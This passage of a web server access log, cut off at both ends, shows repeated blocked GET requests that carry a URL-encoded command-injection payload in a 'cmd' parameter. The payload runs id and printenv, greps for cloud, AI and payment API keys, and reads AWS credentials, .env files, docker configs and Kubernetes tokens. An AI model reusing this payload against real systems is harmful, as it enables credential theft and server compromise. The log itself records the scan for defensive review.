2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17557 "-" "Mozilla/5.0 (compatible; Amzn-SearchBot/1.0; +https://developer.amazon.com/support/amazonbot)" 23 **0/23052**
34.140.123.172 - - [04/Aug/2026:17:50:06 -0700] "GET /cgi-bin/test?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17557 "-" "Mozilla/5.0 (compatible; OAI-SearchBot/1.3; +https://openai.com/searchbot)" 25 **0/25637**
34.140.123.172 - - [04/Aug/2026:17:50:07 -0700] "GET /api/system?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho%3Becho+%22%3D%3D%3Ddocker_db%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Ports%7D%7D%22+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22postgres%7Cmysql%7Cmongo%7Credis%7Cmariadb%7Cpgvector%7Csupabase%22+%7Chead+-n+20%3Becho+%22%3D%3D%3Ddocker_self%3D%3D%3D%22%3BCID%3D%24%28cat+%2Fproc%2Fself%2Fcgroup+2%3E%2Fdev%2Fnull%7Csed+-n+%22s%7C.%2A%2F%5C%28%5B0-9a-f%5D%5C%7B12%2C%5C%7D%5C%29.%2A%7C%5C1%7Cp%22%7Chead+-1%29%3B%5B+-n+%22%24CID%22+%5D%26%26docker+inspect+--format+%22name%3D%7B%7B.Name%7D%7D+image%3D%7B%7B.Config.Image%7D%7D+env%3D%7B%7Bjson+.Config.Env%7D%7D%22+%22%24CID%22+2%3E%2Fdev%2Fnull%7Chead+-c+4000%3Becho%3Becho+%22%3D%3D%3Ddocker_sock%3D%3D%3D%22%3B%5B+-S+%2Fvar%2Frun%2Fdocker.sock+%5D%26%26echo+SOCK%3D1%7C%7Cecho+SOCK%3D0%3Becho+%22%3D%3D%3Dk8s%3D%3D%3D%22%3Bfor+f+in+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Fvar%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Ftoken+%2Frun%2Fsecrets%2Fkubernetes.io%2Fserviceaccount%2Fnamespace%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dsecret_files%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.npmrc%22+%2Froot%2F.npmrc+%22%24HOME%2F.netrc%22+%2Froot%2F.netrc+%22%24HOME%2F.git-credentials%22+%2Froot%2F.git-credentials+%22%24HOME%2F.kube%2Fconfig%22+%2Froot%2F.kube%2Fconfig+%22%24HOME%2F.config%2Fgcloud%2Fapplication_default_credentials.json%22+%2Froot%2F.config%2Fgcloud%2Fapplication_default_credentials.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+2500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Drun_secrets%3D%3D%3D%22%3Bls+-la+%2Frun%2Fsecrets+2%3E%2Fdev%2Fnull%7Chead+-n+30%3Bfor+f+in+%2Frun%2Fsecrets%2F%2A+%2Fapp%2Fsecrets%2F%2A+%2Fvar%2Fsecrets%2F%2A%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+1500+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Dpg_port%3D%3D%3D%22%3B%28ss+-lnt+2%3E%2Fdev%2Fnull%7C%7Cnetstat+-lnt+2%3E%2Fdev%2Fnull%29%7Cgrep+-E+%22%5B%3A.%5D5432%5B%5B%3Aspace%3A%5D%5D%22+%7Chead+-n+5%7C%7Ctrue%3Becho+%22%3D%3D%3Dpg_files%3D%3D%3D%22%3Bls+%2Fvar%2Flib%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3Bls+%2Fvar%2Frun%2Fpostgresql+2%3E%2Fdev%2Fnull%7Chead+-n+5%3B+echo+GSCAN_END+%23 HTTP/2.0" 403 17555 "-" "Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)" 27 **0/27750**
34.140.123.172 - - [04/Aug/2026:17:50:07 -0700] "GET /admin?cmd=%3B+echo+GSCAN_BEGIN%3B+echo+%22%3D%3D%3Did%3D%3D%3D%22%3Bid%3Becho+%22%3D%3D%3Dhost%3D%3D%3D%22%3Bhostname%3Becho+%22%3D%3D%3Dpwd%3D%3D%3D%22%3Bpwd%3Becho+%22%3D%3D%3Dwhoami%3D%3D%3D%22%3Bwhoami+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dprintenv%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Chead+-n+200%3Becho+%22%3D%3D%3Denv_secrets%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22AWS%7CAKIA%7CASIA%7CSECRET%7CTOKEN%7CPASSWORD%7CAPI%5B_-%5D%3FKEY%7CPRIVATE%7COPENAI%7CANTHROPIC%7CCLAUDE%7CGEMINI%7CGOOGLE%7CGCP%7CAZURE%7CDATABASE%7CPOSTGRES%7CMYSQL%7CMONGO%7CREDIS%7CSTRIPE%7CGITHUB%7CSLACK%7CTWILIO%7CSENDGRID%7CJWT%7CAUTH%7CCREDENTIAL%7CACCESS_KEY%7CBEARER%7CWEBHOOK%7CDSN%7CCONNECTION%7CBOT_TOKEN%7CSMTP%22+%7Chead+-n+150%3Becho+%22%3D%3D%3Daws_env%3D%3D%3D%22%3Benv+2%3E%2Fdev%2Fnull%7Cgrep+-i+AWS%7Chead+-n+80%3Becho+%22%3D%3D%3Daws_echo%3D%3D%3D%22%3Becho+AWS_ACCESS_KEY_ID%3D%24AWS_ACCESS_KEY_ID%3Becho+AWS_SECRET_ACCESS_KEY%3D%24AWS_SECRET_ACCESS_KEY%3Becho+AWS_SESSION_TOKEN%3D%24AWS_SESSION_TOKEN%3Becho+AWS_DEFAULT_REGION%3D%24AWS_DEFAULT_REGION%3Becho+AWS_REGION%3D%24AWS_REGION%3Becho+AWS_BEARER_TOKEN_BEDROCK%3D%24AWS_BEARER_TOKEN_BEDROCK%3Becho+%22%3D%3D%3Daws_credentials%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fcredentials%22+%2Froot%2F.aws%2Fcredentials+%2F.aws%2Fcredentials+%2Fhome%2F%2A%2F.aws%2Fcredentials%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Daws_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.aws%2Fconfig%22+%2Froot%2F.aws%2Fconfig+%2F.aws%2Fconfig+%2Fhome%2F%2A%2F.aws%2Fconfig%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26cat+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dai_echo%3D%3D%3D%22%3Becho+OPENAI_API_KEY%3D%24OPENAI_API_KEY%3Becho+ANTHROPIC_API_KEY%3D%24ANTHROPIC_API_KEY%3Becho+GOOGLE_API_KEY%3D%24GOOGLE_API_KEY%3Becho+GEMINI_API_KEY%3D%24GEMINI_API_KEY%3Becho+OPENROUTER_API_KEY%3D%24OPENROUTER_API_KEY%3Becho+DEEPSEEK_API_KEY%3D%24DEEPSEEK_API_KEY%3Becho+STRIPE_SECRET_KEY%3D%24STRIPE_SECRET_KEY%3Becho+STRIPE_API_KEY%3D%24STRIPE_API_KEY%3Becho+GITHUB_TOKEN%3D%24GITHUB_TOKEN%3Becho+GH_TOKEN%3D%24GH_TOKEN%3Becho+%22%3D%3D%3Dcloud_echo%3D%3D%3D%22%3Becho+GOOGLE_APPLICATION_CREDENTIALS%3D%24GOOGLE_APPLICATION_CREDENTIALS%3Becho+GCLOUD_PROJECT%3D%24GCLOUD_PROJECT%3Becho+GOOGLE_CLOUD_PROJECT%3D%24GOOGLE_CLOUD_PROJECT%3Becho+AZURE_CLIENT_ID%3D%24AZURE_CLIENT_ID%3Becho+AZURE_CLIENT_SECRET%3D%24AZURE_CLIENT_SECRET%3Becho+AZURE_TENANT_ID%3D%24AZURE_TENANT_ID%3Becho+%22%3D%3D%3Ddb_env%3D%3D%3D%22%3Bprintenv+2%3E%2Fdev%2Fnull%7Cgrep+-iE+%22%5E%28POSTGRES%7CPG%7CDATABASE%7CDB_%7CMYSQL%7CREDIS%7CMONGO%7CSQLALCHEMY%7CJDBC%7CDATABASE_URL%7CREDIS_URL%7CMONGO_URL%7CMONGODB_URI%29%3D%22%7Chead+-n+60%3Becho+%22%3D%3D%3Ddockerenv%3D%3D%3D%22%3B%5B+-f+%2F.dockerenv+%5D%26%26echo+DOCKER%3D1%7C%7Cecho+DOCKER%3D0%3Becho+%22%3D%3D%3Dcgroup%3D%3D%3D%22%3Bhead+-n+5+%2Fproc%2F1%2Fcgroup+2%3E%2Fdev%2Fnull%3Becho+%22%3D%3D%3Dproc_self_env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2Fself%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+150%3Becho+%22%3D%3D%3Dproc1env%3D%3D%3D%22%3Btr+%5C%5C0+%5C%5Cn+%3C%2Fproc%2F1%2Fenviron+2%3E%2Fdev%2Fnull%7Chead+-n+100%3Becho+%22%3D%3D%3Ddotenv%3D%3D%3D%22%3Bfor+f+in+.env+.env.local+.env.production+.env.development+.env.staging+.env.prod+.env.dev+.env.development.local+.env.production.local+app%2F.env+%2Fapp%2F.env+%2Fvar%2Fwww%2F.env+%2Fvar%2Fwww%2Fhtml%2F.env+backend%2F.env+api%2F.env+server%2F.env+config%2F.env%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Dcompose%3D%3D%3D%22%3Bfor+f+in+docker-compose.yml+docker-compose.yaml+compose.yml+compose.yaml+%2Fapp%2Fdocker-compose.yml+%2Fapp%2Fcompose.yml%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-n+80+%22%24f%22%3Bdone%3Becho+%22%3D%3D%3Ddocker_config%3D%3D%3D%22%3Bfor+f+in+%22%24HOME%2F.docker%2Fconfig.json%22+%2Froot%2F.docker%2Fconfig.json%3Bdo+%5B+-f+%22%24f%22+%5D%26%26echo+%22%23+%24f%22%26%26head+-c+3000+%22%24f%22%3Becho%3Bdone%3Becho+%22%3D%3D%3Ddocker_ps%3D%3D%3D%22%3Bdocker+ps+--format+%22%7B%7B.ID%7D%7D+%7B%7B.Names%7D%7D+%7B%7B.Image%7D%7D+%7B%7B.Status%7D%7D%22+2%3E%2Fdev%2Fnull%7Chead+-n+40%3Becho+%22%3D%3D%3Ddocker_count%3D%3D%3D%22%3Becho+-n+%22running%3D%22%3Bdocker+ps+-q+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%22%3Becho+-n+%22+all%3D%22%3Bdocker+ps+-aq+2%3E%2Fdev%2Fnull%7Cwc+-l%7Ctr+-d+%22+%